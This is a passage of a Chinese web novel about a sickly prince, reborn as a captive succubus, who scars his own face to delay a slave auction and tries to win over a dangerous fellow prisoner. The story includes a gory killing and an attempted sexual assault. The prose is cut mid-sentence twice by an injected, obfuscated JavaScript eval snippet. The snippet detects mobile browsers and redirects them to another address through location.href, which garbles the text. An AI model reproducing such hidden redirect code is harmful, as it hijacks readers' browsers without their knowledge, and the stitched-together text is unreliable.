幸好没有继续追问。 虽然他急着逃出去,但想要让五十八号这种人对他放下戒心,不是一朝一夕能做到的事。 冷淡点就冷淡点吧。 总比想杀了他要好。 * 接下来几天,寒症没有再复发,但身体里那些小毛小病作怪,还是让他的健康时好时坏。 五十八号没有再出手。 姜楚韫也没有想着依赖他,绝大多数时间都是自己熬,实在熬不下去了,就敲敲铁门。 铁门外站着两名看守。 等看守一脸不耐烦地打开门,姜楚韫一句话也不说,两眼一闭就晕倒在他们面前。 看守:“……” 场面静默片刻。 看守:“快来人!!” 紧接着又是一阵兵荒马乱。 姜楚韫隔几天就要晕一次,一开始只是生病了会晕,到后来晕得就比较随性了。 被看守训斥,晕。 吃到太差的伙食,晕。 打不得骂不得,待遇直线上升。 只是头领的脸色一天比一天难看。 该死,欧文那个蠢货到底从哪抓来这么病殃殃的魅魔,别说赚钱了,现在光买药就花了不少!听说最近不太平,拍卖可别出什么岔子…… 几次下来,头领终于受不了了。 他花重金从当地一个很有名的地头蛇组织里,请来了一位据说颇有些手段的医生。 姜楚韫被带到临时诊疗室,他看见文件上写着医生的名字,贾尔斯,这是个干瘦的中年男人,打量他的目光就像在评估货品。 姜楚韫抿了抿唇,忍下心中的嫌恶。 检查的过程极其粗暴。 姜楚韫手腕上被掐出一大片红印,看起来要不了多久就会变成触目惊心的淤青。 过程中,姜楚韫尽量一声不吭。 ……很疼,医生就是故意的。 检查的器具发出“滴滴”的声音。 看着检查结果,贾尔斯目光微变,像是有一瞬间的惊恐和错愕,但很快就恢复平静。 “上帝保佑……真令人难以置信,究竟是谁要折磨你,让你带着这个病活了这么久?” 他从来没见过这么破败不堪的身体,看起来就像一具用柳絮东拼西凑出来的尸体。 本来风一吹就该被吹散了,只是一直在用某种药剂勉强吊着命……但让这种生命延续下去,也只是让身体主人更频繁地承受痛苦。 虽然他并不想夸赞一只魅魔,但不得不承认,寻常人到这种程度,早就生不如死了,这只魅魔能保持现在的状态,的确有些本事。 姜楚韫问:“有办法治吗?” “治?”贾尔斯像是听到了天大的笑话,“除非你能找到顶级药剂师,专门为你调制药剂。” 早有预料,姜楚韫并没有特别失望。 虽然他的家乡没有魔法,但家里人也为他寻遍五湖四海的名医,也是一样的结果。 “但我还有一个办法。” 贾尔斯浑浊的眼睛转了一下,动作轻佻地想摸上他衣服的单薄处,充满了暗示与亵玩意味。 姜楚韫嫌恶地躲开,冷下表情。 虽然什么都没说,但态度很明确。 贾尔斯不怀好意地靠近。 “你这辈子也不可能接触到这样的大人物,但如果你求我,说不定我会愿意帮你。” 姜楚韫毫不掩饰厌恶。 他猛地向后一退,脊背重重撞在冰冷的石墙上,眼神迅速扫过这个临时诊疗室。 房间不大,陈设简陋。 除了贾尔斯带来的金属仪器箱,就只有一张硬板床,和墙角一个堆着些杂物的木架。 木架太重,他推不动。 姜楚韫咬紧牙关,在对方抓住自己的同时,用尽全身力气,狠狠推翻旁边那个金属箱! “哐铛——!!” 仪器箱重重地摔在地上。 这动静足以穿透厚重的铁门。 贾尔斯吓了一跳,手下的力道松了些,惊怒地看向发出巨响的箱子,又看向门外。 姜楚韫也立刻扭头,屏息倾听。 门外一片死寂。 没有人进来查看情况,只有模糊不清的嗤笑,仿佛在看什么心照不宣的热闹。 姜楚韫的心重重地沉了下去。 看来不能靠外面的看守了。 贾尔斯也反应过来外面的人不会插手,他脸上满是得意:“你知道我为这处理了多少脏活吗?只要不破坏你的价值,他们不会管我。” 贾尔斯扯住姜楚韫的手臂,后者被他拉扯得猛地向前一倾,狠狠地摔倒在地上。 贾尔斯愣了一下。 他有用这么大力气吗? 下一刻,姜楚韫迅速往前探手,抓住从仪器箱里掉出来的小刀,对准贾尔斯。 贾尔斯只是愣了一瞬,旋即眼 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贾尔斯的神情骤然僵住,拼命伸手扯向喉咙,嘴巴里大股鲜血涌出,脸色变得青紫狰狞。 室内的温度好像骤然冷了好几度。 一切都发生在悄无声息间。 贾尔斯的脖颈处出现一道极细的红线,他眼中爆发出难以置信的惊恐,随即迅速涣散。 姜楚韫看见他张了张嘴,却只涌出一股血沫,脖颈上无形的线越勒越紧,深深陷进血肉里,医生身体晃了晃,沉重地栽倒在地。 血肉绽开,隐约可见白骨。 脑袋以一种扭曲的姿势歪倒。 明明场面这么血腥可怖,医生却从头到尾都没能发出一点声音,就这么悄无声息地死了。 几滴温热的血溅姜楚韫脸上。 这是他第一次这么近距离地看到有人被杀,浓重的血腥味冲进鼻腔,激起一阵反胃。 他捂住嘴无声地干呕。 五十八号的身影出现在阴影中。 姜楚韫确信,刚刚这里还空无一人。 简直像是无处不在的鬼魂。 如果不是对方刚刚才救了他,姜楚韫觉得自己此时脸上一定会露出非常恐惧的表情。 好可怕的人。 完全琢磨不透。 “你想让别人以为他划伤了你的脸吗?”五十八号眼神淡淡,“他有很多种办法治好你,除了你自己受伤了,他不会受到任何处罚。” 姜楚韫闻言,并没有生气。 等到胃里翻江倒海的感觉勉强平复,他才重新拿起那把小刀,抵在自己的侧脸上。 “不……你怎么会这么想?” 五十八号眯了眯眼:“你要做什么?” 姜楚韫还穿着来时的那件素白寝衣,白衣乌发,表情略有些苍白,像一块白玉跪坐在血泊中,浑身上下都透着与浪荡传闻不符的清冷。 五十八号沉默地看着他。 姜楚韫没回答,深吸一口气后,压下冰冷的刀锋,在脸上划出一条接近一指长的伤口。 伤口瞬间淌出鲜血。 血珠很快渗成串滚落下来,半张白净的脸上鲜红一片,疼痛很快让他双眼发黑。 姜楚韫对自己没有手软。 五十八号站在原地,一语不发地看着他的举动,但眼神里多了几分思索和打量。 姜楚韫的胸口剧烈起伏。 刀锋把伤口压得很冷,直到温热的血流出来,他才后知后觉感到令人发麻的刺痛。 从出生开始,每一次他都是被动承受疾病带来的痛,这是他第一次主动选择痛苦。 当然,这也是为了求生。 “我不知道他们什么时候会拍卖。”姜楚韫抬起清亮的眼睛,“但我现在可以确定,至少在我伤好之前,他们都不会把我作为商品送过去。” 有了瑕疵的商品注定卖不出高价,越是稀有的商品,越是要呈现出最好的状态。 五十八号居高临下地看着他。 “你想用这个办法避开下一次拍卖?” 姜楚韫轻轻擦了擦淌下的血,“正常情况下,没人会拍卖一只有瑕疵的魅魔。” 因为剧烈的疼痛,他的声音就算已经压得很轻,依然能让人听到清晰的颤抖。 其实,这番话并不中肯。 那道渗血的伤口并不会显得狰狞,反而给他清纯的脸上增添了几分特殊的残缺美。 五十八号定定地看了他很久,半晌后轻笑一声,俯身用手捏住他的下巴。 “很有勇气,但你算错一件事……即使是现在,你依然是一件合格的商品。” 5. 教堂 虽然是在夸他漂亮。 但这话说得并不好听。 姜楚韫不搭理他了,伸手把脸上的血抹开,让自己的脸看起来伤得更加严重。 他手上糊满了血,满意地在医生衣服上擦了擦手,同时对五十八号使了个眼色。 意思是让他先走。 五十八号心中轻嗤一声,心想,这只魅魔居然敢这么使唤他,不过他确实该走了。 他的身影隐没在阴影中。 等五十八号走后,姜楚韫松了一口气,对方难以捉摸的态度让他感到很有压力。 五十八号为什么要救他? 他们的关系似乎有些奇怪了。 说不上信任,更谈不上亲密,但对方两次主动救他,又透露出点不同寻常的意味。 虽然最后的结果,总归逃不开利用或者交易……但不管怎么样,目前看来还是好事。 铁门外传来门锁被打开的声音,姜楚韫立刻收敛所有思索的神色,虚弱地往地上一倒。 铁门被“吱嘎”一声拉开。 血腥味瞬间飘了出去。 看守恶狠狠的警告卡在喉咙里。 长久的沉默后,他盯着医生的尸体以及昏迷的姜楚韫,发出一声撕心裂肺的惨叫。 “快找人过来!!” “贾尔斯死了!!!” 耳膜被喊得嗡嗡的。 姜楚韫心满意足地晕了过去,同时还不忘调整姿势,避免伤口直接接触砂石地面。 ……他可不想真的毁容。 脑内陷入黑暗。 不知道过了多久。 恢复意识时,姜楚韫没动。 他聚精会神地听着周围的动静,试图获取一些有用的信息,可惜什么动静都没有。 一开始他只是装晕,后来不知道那些人给他注射了什么,意识立马变得迷迷糊糊。 姜楚韫耐心地等了很久。 四周始终安静得针落可闻。 怎么还没有人说话? 不行,等不及了。 姜楚韫一只眼眯着,另一只眼悄悄睁开观察,正巧撞进一双深不可测的绿瞳中。 心脏被吓得骤停一瞬。 反应过来是谁后,他立刻睁开两只眼睛,捂着心口抗议:“你干嘛一直盯着我……” 因为心里装着事,他都来不及看一眼五十八号的表情,抬手小心翼翼地摸了摸自己的脸,确定伤口被包扎好了,这才长舒一口气。 姜楚韫忽然想起还有一件重要的事。 他抬头,却看见五十八号面无表情。 姜楚韫终于反应过来,自己刚刚的态度好像有点过于放肆了,立刻切换成乖巧的调子。 “你有听见医生说什么吗?” “要用药敷十五天才能好透。”五十八号冷淡地回答,“拍卖会的确要延期了。” 姜楚韫的眼睛瞬间亮了起来,尾巴高兴地晃来晃去,拍得身后围床的铁栏杆砰砰响。 “太好了,谢谢你。” 顿了顿,姜楚韫想到什么,又忧虑起来:“被你杀掉那个医生说,这个伤他两周就能治好,这个怎么要十五天,他会不会医术不精呀?” 五十八号问:“怕留疤?” 姜楚韫忧虑地点了点头。 “怕还对自己下这么狠手?” “没办法呀。”姜楚韫语气带着点抱怨,又像是试探,“不想办法,你会带我逃出去吗?” 五十八号没有说话。 姜楚韫也不意外:“你看。” 既然现在没办法出去,当然要先想办法自保,他也没什么大志向,现在就希望能把病治好活下去,如果能找到回去的方法就更好了。 五十八号反问:“要讨厌我吗?” “不会呀。”姜楚韫撒娇一样牵住他的衣角,“那这十五天里,你带我逃跑,好不好?” 五十八号盯了他很久。 声音果决地说:“不。” 姜楚韫也不气馁。 早就猜到他会这么说了,反正撒娇就是动动嘴皮子的事情,也不会损失什么。 因为自己的脸受伤了,拍卖的日期可能会延后几天……时间很紧张,他不能把所有期待都放在五十八号的身上,自己也得想办法。 当然,还是要和五十八号套近乎。 “你什么都不记得了,名字也是吗?” 五十八号用眼神询问他的意思。 姜楚韫坐到五十八号旁边,掌心托住脸,歪头问男人:“我还不知道你叫什么呢。” 五十八号侧过头,深色的眼睛平静地看向他,目光像是要看透他的真实心思。 “你不是很怕我吗?” 这话当然不是在关心姜楚韫,而是隐晦地警告他,他刚刚的举动有些过分亲密了。 姜楚韫却好像半点没听出来。 “那是以前。”他的目光不躲不闪,弯眼笑了笑,“现在你救了我,所以我喜欢你。” 说得坦荡,半点没有暧昧。 但有时候就是这种坦荡,反而会对五十八号这种戒心强的人有意想不到的效果。 五十八号:“……” 他偏开视线:“呵。” 姜楚韫凑得更近了。 “真的不能告诉我吗?” 五十八号冷漠地移开视线。 “不记得了,随你怎么叫。” “嗯?”姜楚韫诧异极了,连尾巴都不晃了,“让我给你取名吗?这是不是有点……” 过于暧昧了…… 五十八号冷冰冰看着他。 姜楚韫明白自己会错意,生硬转移话题,“说起来,我好像没听你叫过我的名字。” 五十八号沉默一瞬。 姜楚韫以为他在纠结叫不叫,耐心等了一会,对方终于出声:“你叫什么?” 姜楚韫:“……?” “第一次见面我就说过。” 五十八号“嗯”了一声。 姜楚韫:“所以当时完全没在听是吗?” 五十八号又“嗯”了一声。 姜楚韫对这种恶行嫉恶如仇,不开心地撇撇嘴,“我再说一遍,这次你要记住哦。” 五十八号还想“嗯”一声。 反应过来自己不应该这么听话以后,又冷脸抱着手臂靠在椅子上,没直接表态。 姜楚韫从桌上拿了一张新的纸,拿起五十八号的笔,研究了一会要怎么用。 这个时代的笔很奇怪,不需要蘸墨就能写字,笔身和笔头像铁,不知道叫什么。 他抓着笔新奇地研究了一会,片刻后,才拿笔在纸上歪歪扭扭地写下了自己的名字,写完他忽然反应过来,五十八号应该看不懂。 果然,五十八号皱起眉。 姜楚韫一本正经地说:“我的名字是别的国家的人取的,所以你看不懂是正常的。” 他确实没有说谎。 姜楚韫指着自己的名字念了一遍,五十八号低声重复:“姜楚韫?奇怪的名字。” 姜楚韫试图反驳。 他的名字是母后翻阅典籍取的,取意楚地荆山韫玉而山辉,是期许他藏锋敛锷。 不过想了想……还是算了。 反正解释了五十八号也听不懂。 哼,有眼不识荆山玉。 哼,文盲。 * 想要打探情报,当然不能一直被关在这,五十八号因为没有人性,在这里拥有自由出门的权利,姜楚韫抗议无果,只能另辟蹊径。 姜楚韫想到一个绝妙的主意。 五十八号出门的时候,他就泰然自若地跟在后面,后者看了他一眼,倒也没说什么。 这只魅魔身上有一股和落魄处境截然不同的贵气,像是曾经生活优渥,再加上那个奇怪的名字,或许他曾经出生于某个咒术世家。 因为两人全都面色自若,几名看守面面相觑,怀疑两人私下说好了,也不敢阻拦,只是在报告给头领以后,默默增加了一倍的人跟着。 幸好没有被阻拦。 姜楚韫松了一口气。 因为有看守监视着,他每次出去必须得跟着五十八号,不然就会被强行遣返。 幸好五十八号似乎也在找东西,所以就算他只能当个随行挂件,也获取了不少信息。 牢房走廊的尽头右转是向上的石阶,通往头领所在的高塔,转角处有扇窄窗,朝外能看到围墙的一角,这是唯一可以观察到外界情况的地方。 高塔的楼梯很窄,监视他们的看守便留在楼梯口,堵住他们可能逃跑的路径,依然可以观察到他们的一举一动,只不过听不清谈话了。 姜楚韫很高兴拥有了一点小小的自由,他在看守的视线死角,朝他们做了个鬼脸。 五十八号看了他一眼。 姜楚韫:“干嘛?” 五十八号收回视线。 姜楚韫哼着小调。 随后开始认真观察外界。 青灰色的围墙顶部插着生锈的铁蒺藜,围墙外是茂密的树林,城西方向有一座很高的房子,五十八号说那里是已经废弃的旧教堂。 旧教堂……? 姜楚韫好奇。 “什么是教堂?” 五十八号正准备开口,脑袋里却像是被什么东西狠狠地刺了一下,到嘴的话顿了顿,才重新组织好语言:“向光明神祷告的地方。” 这是这个世界的神明吗? 姜楚韫大概明白了,教堂就和他国家的佛寺一样,也是神明保佑信徒的地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224350|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方。 于是他学着记忆中那些信徒的样子,虔诚地双手合十,闭上眼,认真地对着窗外教堂的方向默默祈愿起来,灿烂的阳光落在他的肩上。 五十八号讨厌过于明亮的环境,就像他讨厌这只性格过于鲜活天真的魅魔,忍不住轻嗤一声,出声道:“你要在这里求神救你吗?” 在这种恶劣的环境里,没有牧师,没有供品,只有一群浑身散发恶臭的囚犯,他们只会终日蜷缩在发霉湿烂的稻草上哀生怨死。 “不是哦。”姜楚韫睁开眼,黑色的眼睛在阳光下显现出琥珀的光泽,“我喜欢今天这样的好天气,所以许愿明天也能是个晴天。” 五十八号扯了扯嘴角,似乎是想嘲讽地笑,看见姜楚韫开心的样子,又觉得有些荒谬。 “你不求神救你,求这个?” 姜楚韫的眼神很干净,所有情绪一览无余,任谁都能看出这是一个单纯好骗的人。 但有时候他却意外地通透。 “如果你遇到一只被水坑困住的蚂蚁,会特意弯腰伸手,费力去把它救出来吗?” 求一些无关紧要的愿望,这样就算没实现,既不会觉得难过,也不会怨天尤人。 如果求神拜佛真的有用的话,按照他父母兄长为他修庙建寺、布施赈济攒下的功德,他早就应该位列仙班了,哪会在死后来到这里呢? 老天真是贪心,吃了他家的香火,又不愿意保佑他,往水里丢钱还能听个响呢。 姜楚韫百无聊赖地望向庭院。 他忽然注意到一件事。 墙角停着两辆加盖黑篷布的马车,车厢侧板上沾着湿泥巴,像是连夜赶路而来。 这几天没有新奴隶送进来。 所以这些车是来干什么的? 因为不知道这些信息哪些是有用的,姜楚韫回牢房就全都用姜国的文字记了下来。 看守狐疑地问他在写什么。 姜楚韫随口说:“在写遗书。” 一抬头,发现五十八号看着他,姜楚韫又开玩笑地说:“其实我在写给你的情书。” 五十八号没说话。 看守倒是吓了一大跳。 这只魅魔真是想活想疯了,居然饥不择食到连这个没人性的疯子都开始勾引了! 看守吓得离开了房间。 接下来连着几天都是晴天。 一切似乎都在稳中向好,只是那两辆一直停在墙角的马车,还是让姜楚韫特别在意。 就这么过了几天。 看守放养式的监视终于惹恼了他们的头领,他们不得不派一个代表一起上高塔。 姜楚韫注意到这几天围墙外的泥路越来越泥泞,布满了密集杂乱的脚印,像是有大批人在不同时间,目标明确地朝同一个方向前行。 姜楚韫问:“外面……” 看守警惕:“你要逃跑?” 姜楚韫:“……” 想逃跑也不告诉你呀。 无语归无语,他立刻假装害怕,虚弱地往五十八号怀里一靠:“我不敢的,外面看着好吓人。” 五十八号皱眉把他推开了。 看守怕他真想逃跑,出言恐吓。 “这段时间皇帝要讨伐叛军,外面到处都是逃难的流民,像你这种魅魔,肯定活不下去!” 姜楚韫脸上的表情僵了僵。 看守还没意识到自己透露了什么。 这里显然不是什么安全的地方,奴隶贩运队肯定会迁走,带大批奴隶一起很麻烦。 带不走,只能卖。 拍卖会说不定要提前了。 姜楚韫原本放松的手臂瞬间绷紧,掌心用力地按在窗户边沿,指尖泛白。 片刻后,他才勉强平复心情,没事的……有人逃难,说明一时半会打不到这来。 姜楚韫脑子里一团乱麻。 楼梯上忽然传来一道急促的脚步声,抬头看去,是一名披着黑斗篷的访客匆匆下来。 这个人看起来刚刚结束和头领的谈话,他似乎很意外会在这里看见奴隶和看守,有意隐藏自己的身份,立刻拉低了斗篷的兜帽。 尽管他这么小心谨慎,但在经过窗口时,风掀起斗篷一角,还是让姜楚韫瞥见一闪而过的精美银制饰品,证明他真实身份地位不凡。 姜楚韫瞳孔颤了颤:“……” 这就是之前看守提到的贵族,在这个世界的地位很高,显然不会专程来买普通奴隶。 拍卖会肯定要提前了。 心脏跳动得似乎要冲出胸膛。 原本脑海里初步构想的计划全部都要被推翻,现在只剩下一个方案可以走了。 姜楚韫深吸一口气,努力平静情绪。 随后看向正冷眼看着窗外的五十八号。 6. 勾引 春初乍寒,气温骤降。 头领原本不打算管,结果一夜过去居然冻死了几个奴隶,晦气之余还有些心疼。 又少了几个人的钱。 他命手下不知道从哪搜罗来一堆破旧的衣服,有薄有厚,大多都泛着酸臭味。 最厚的那件当然分给姜楚韫了。 姜楚韫看了一眼:“不穿。” 五十八号:“不穿会被冻死。” 姜楚韫抽出一点白色的填充物:“这里面都是不保暖的芦花,穿了会臭着被冻死。” 五十八号不说话了,过了一会,姜楚韫忽然感觉自己身上升起一股熟悉的暖意。 扭头一看,五十八号还是那副冷着脸的模样,姜楚韫笑眯眯地凑过去:“谢谢你呀。” 五十八号面无表情地后退一步,但在外人看来,依然是他对姜楚韫极尽纵容。 看守目睹了全过程。 他感觉自己的世界被打碎重组了一遍,那个疯子居然会对这只魅魔这么好?? 难怪这只魅魔最近这么有恃无恐! 看守一脸的惊魂未定。 随后重重把铁门关上。 牢门在身后合拢的瞬间。 “利用完了?”五十八号开口,声音比平时更冷几分,“我应该和你说过,离我远点。” “我不是故意利用你的。”姜楚韫垂眸,声音低落,“但马上就是拍卖会了,我剩下的时间不多,如果每天都被他们打扰,会很麻烦。” 姜楚韫揉揉眼睛想装哭,但揉得眼睛都痛了,还是没能挤出一滴泪,只能作罢。 “以后我会报答你的。” 五十八号对他口中的报答并没有兴趣,显然不认为自己能获得什么有价值的东西。 “我不需要这些。” 姜楚韫微微抿了抿唇。 以前遇到困难,和家里人撒一撒娇就能解决,但现在必须得自己想办法解决了。 姜楚韫努力不露出畏怯的情绪:“我不知道你为什么要留在这里,但我知道,你不在意拍卖,是因为觉得现在的生活不会受到影响。” 五十八号终于抬眼。 他觉得姜楚韫现在的样子很有趣,明明怕得要死,却还要故作镇定地和他谈判。 不,这甚至称不上谈判。 谈判是基于平等产生的交流,但他觉得自己和姜楚韫之间并不是所谓的平等关系。 他并不讨厌姜楚韫,相反,对方的性格是他从未见过的……但是像这种弱小的、天真的、没有任何自保能力的人,在哪都很难得到平等。 五十八号说:“你想说什么?” 他以为姜楚韫说什么,他都无所谓,然而对方的下一句话,就让他脸色沉了下来。 姜楚韫深吸了一口气。 “我觉得你想得太简单了。” 姜楚韫第一次感受到这么如有实质的冷意直直朝他袭来,他瞬间心中一紧。 但他还是强忍恐惧,一字一顿地说,“拍卖会结束,你不可能像从前一样生活。” 五十八号或许是想留在这里,找到有关他失忆的线索,但他注定不可能如愿了。 五十八号的声音听不出情绪。 “如果不是我出手,你早就死了,你不过是一只任人摆布的魅魔,凭什么敢这么说?” “那天我们在高塔上,看守说外面那些脚印是逃难的流民踩的。”姜楚韫努力压下声音里不明显的紧张,“你没看出来他在说谎吗?” 姜楚韫对自己认知清晰,他并不是胆大的人,如果不是真的没办法了,他真的很不想和五十八号这样的人,变成这样对峙的局面。 他很害怕这个人。 就算先前自己再怎么刻意忽略,也没办法掩盖五十八号杀了那么多人的事实。 五十八号眼神晦暗。 因为情绪激动,姜楚韫忍不住咳嗽,五十八号冷眼看着他咳出点点血红沾在掌心。 “流民逃难,脚印应该是杂乱无章、拖家带口的拖沓痕迹。可我们那天看见的脚印虽然密集,却大多有序地朝同一方向,或许不只是逃难,还有卫队……或更大型的军队经过这里。” 姜楚韫停了下来,呼吸微促。 这番话说得快而密,几乎耗尽了刚才强撑出来的力气,连背脊都渗出了一层薄薄的汗。 “所以呢?”五十八号终于开口,“就算有军队路过,也没办法证明你说的事。” 姜楚韫轻轻笑了一声,因为对方这句反问,心中的恐惧意外地平静了下来,他忍不住想,原来五十八号也没有想象中那么无所不能。 “看守可不像我们一样被关着,他们肯定知道有军队经过,但我问的时候,他却能毫不犹豫地就说出另一套逻辑自洽的说辞,为什么?” 五十八号冷冷地看着他。 姜楚韫把自己提前想好的分析和盘而出,“我只能想到一种可能,那就是有人把这套说辞教给了所有看守,只要有人问起这件事,全都这么说。” 五十八号眉梢微抬。 姜楚韫目光逐渐坚定,“既然马上就要逃难,有必要特意为这种事编一套说辞吗?” 五十八号并不愚蠢,就算先前忽略了一些事,经过姜楚韫这么一提醒,也很快就能反应过来,眼神里闪过很多情绪,最终归于平静。 姜楚韫很高兴他能这么快反应过来,这样接下来的谈话就会轻松很多:“关于头领这么做的原因,我只能想到一个,那就是……” 五十八号绿瞳深深望进那双黑眸:“军队并没有离开这里,并且因为某些原因,和这里的头领达成了合作,所以他们才会帮忙隐瞒。” 虽然军队和那些下九流的罪犯勾结很匪夷所思,但事实摆在面前,不得不信了。 “是的。”姜楚韫弯眼笑了一下,“看守的那番话显然不是编给我们这些等待拍卖的奴隶听的,这里除了我们和看守,还有谁呢?” 五十八号缓缓接过话。 “……拍卖会上的那些贵族。” 那天他们只是在高塔待了一会,就撞见一名贵族,显然这些天有更多贵族到访。 姜楚韫心中巨石落地。 原本五十八号和他之间有一条等级明确的线,他一直被对方居高临下地俯视着。 现在这种感觉被打破了。 “军队在这,拍卖的地点一定也在附近,只要贵族侍卫和皇帝派出的军队打起来,不管你是为了什么留在这里,最后那些东西都会灰飞烟灭。” 姜楚韫知道只说这些还远远不够。 就算五十八号离开这里,也不一定会救他,但想要被救,就得展现出值得被救的价值。 牢房里一片死寂。 不知道哪个角落在漏水。 “嗒——” “嗒——” 五十八号终于开口,只是声音里听不出是赞赏还是讽刺:“观察力不错,所以?” “我想和你合作。”姜楚韫微微向前一步,拉近距离,“你救我这一次……我以后能像今天一样,提前发现很多事,为你省下很多麻烦。” 五十八号似乎在思索。 姜楚韫伸出手,顿了顿,又软下态度去拉对方的衣袖,撒娇道:“……好不好呀?” 其实姜楚韫心里也很忐忑,他担心五十八号会拒绝他,毕竟剩下的时间不多了,想要再用别的办法说服对方,或许时间会来不及。 五十八号垂眸盯着那只牵住自己的手,指骨纤细,皮肤苍白得几乎没有血色。 明明看起来像一碰就会碎掉的玉石,却能拖着孱弱的病躯,说出这些令人意外的话。 五十八号身上有一股与生俱来的傲慢,他习惯性地傲慢待人、习惯性地冷眼旁观,这或许和他失忆前的身份有关,他也不打算改。 这次姜楚韫试探他的态度,他没有生气,反而觉得新奇……不过也仅此而已了。 这么多天来,这是他第一次以平等的视线注视姜楚韫,只是语气依然带着一贯的淡漠:“你很聪明,但我不认为我会需要你的帮助。” ……被拒绝了。 也在意料之中。 果然不会那么顺利。 姜楚韫迅速思考对策。 他识文断字、会记账、懂基本的药物辨别,因为爱好还和钦天监学过一段时间的星象,但这些在这个世界都派不上用场,五十八号并不是一个烂好人,他必须得说出更有分量的能力。 脑海里一瞬间划过了许多念头,然而不等姜楚韫开口,就被五十八号出声打断。 “你发现的事的确很有价值,但还不够让我救下你,剩下几天,你可以利用我继续欺骗那些看守,但多余的事情我不会做。” 姜楚韫把喉咙里的话咽了下去。 说得太多,只会引起反感……但其实,单他给出的这个承诺,就足够自己做很多事了。 姜楚韫希望自己能和五十八号达成一个平等的合作,但如果……如果真的没办法,他也不介意继续像之前那样,努力勾引对方。 皇兄以前说他很会撒娇。 勾引和撒娇……应该差不多吧?35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224351|197555||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> * 拍卖会将近,牢房周围的看守又多了一倍,因为姜楚韫身边跟了个疯子,看守不敢靠近,姜楚韫难得有了几天清净,但还是高兴不起来。 姜楚韫明里暗里试探了五十八号很多次,但对方一次都没有给出过确切的回应。 偏偏头领那又出了问题。 不知道是不是他和五十八号走得太近引起了怀疑,头领那边也开始格外注意他。 虽然头领并不认为姜楚韫能逃出去,但为了以防万一,这几天还是经常单独叫他,说只要他这段时间安分一点,就给他好好挑一挑买家。 话里话外都是他逃不了被卖掉的命。 这话说得其实是很消磨人心志的。 但姜楚韫只消沉了一瞬,离开头领那以后,就用力拍拍自己的脸,努力打起精神。 要尽快想办法逃跑了。 因为家里人对姜楚韫的要求只有平安,早膳多吃两口都能被夸出花来,所以他对自己的要求也很低,没想过要做什么惊天动地的大事。 不爱学习,就一直装病。 他还非常霸道地不允许皇兄告假,学堂总共就两位皇子,都不去的话不成体统。 太子本来也是个爱招猫逗狗的性子,虽然大事上从不出错,但顽劣的名声也很响,被姜楚韫这么一逼,反而成了学堂里最用功的那个。 太子勤学的名声也传了出去。 本来民间因为太子顽劣,对皇室怨声载道,这会怨气也小了很多,姜楚韫深藏功与名。 姜楚韫知道自己一直只敢窝里横,但因为窝里横的对象是当朝太子和帝后,所以显得嚣张了些,本质上,还是个软趴趴的小废物。 一路从高塔往下,姜楚韫绕过高塔的拐角,正好看见站在窗边等他的五十八号。 五十八号并没有看他。 姜楚韫注意到对方对窗外很感兴趣,每次来都会紧紧盯着,不知道在看什么。 姜楚韫觉得自己应该抓住机会。 勾引五十八号,刻不容缓! 姜楚韫给自己打了个气。 他看向脚下,塔内石阶湿滑,他在下塔时故意踩空一级,身体失去平衡地向前倒去。 姜楚韫很害怕真的摔着自己,隔了很远就目标明确地抬起手,按照自己的计划,精准地抓住男人结实有力的手臂,身体也紧紧抱了上去。 其实他有点担心会被五十八号推开,毕竟这个人就是这么刻薄,到时候自己一定会在楼梯上摔得很惨……幸好对方稳稳接住了他。 隔着衣服都能感觉到男人胸膛的滚烫温度,因为肌肉紧绷,浑身硬邦邦得像铁一样。 姜楚韫在心里默默倒数。 男人没有任何举动。 没有推开,也没有回应。 姜楚韫闭了闭眼,更加用力地抱紧了他。 五十八号终于有动作了。 他推开姜楚韫,随后垂眼俯视,那双绿眸在昏暗阶梯的阴影里沉得像化不开的墨。 两人站在同一级台阶上的时候,姜楚韫必须仰头才能看见男人的眼睛,于是他往上走了两级,恰好站进一束斜照进高塔内的太阳光束里。 现在才勉强能和男人平视。 他笑盈盈地看向穿着一身黑衣,站在阴影里的五十八号,睫毛都被阳光染成浅金色。 春日的阳光不够炽烈,却足够将他照得透亮,黑发在光线下泛着丝绸般的光泽,如果说他先前是一块白玉,现在就像是流淌的琥珀。 因为姜楚韫的脸太漂亮,连带着脸上那道细长的粉色疤痕,都像溅在脸上的油画颜料,等看清是伤疤,才觉得白玉染瑕,令人惋惜。 五十八号承认姜楚韫很漂亮。 但他对这只魅魔没有别的心思,更不可能因为色迷心窍,做出什么失去理智的举动。 保护人比杀人难多了。 “你想求我救你吗?” 姜楚韫牵起他的手,轻轻贴在自己侧脸的伤口上,“不像吗?那你觉得像什么?” 他说话调子似乎都变得软软的。 眼神专注到好像全心全意都是对方。 如果是一般人,这时候早就被迷得神魂颠倒了,但五十八号凝视了他一会,抽出自己的手,声音带着一种近乎叹息的冷淡:“像是取悦。” 这句话实在算不上好听。 但姜楚韫依旧是笑眯眯的。 “那你就当我在取悦你吧。”他那双眼睛因为照进了光而分外明亮,“如果撒撒娇就能活下去的话,我可以天天对你撒娇呀。” 7. 讨厌他 难得有机会能和五十八号平视。 姜楚韫有些新奇地打量着对方。 五十八号眼神里没有任何情绪。 姜楚韫微微歪头,将自己柔软的尾巴卷在男人的手腕上,还用尾端的桃心尖尖轻轻蹭了蹭他的掌心,对方用带着薄茧的指腹微微摩挲。 姜楚韫感觉身体一阵发麻。 他抿了抿唇,没有表现出来。 原来尾巴是不能随便给人碰的…… 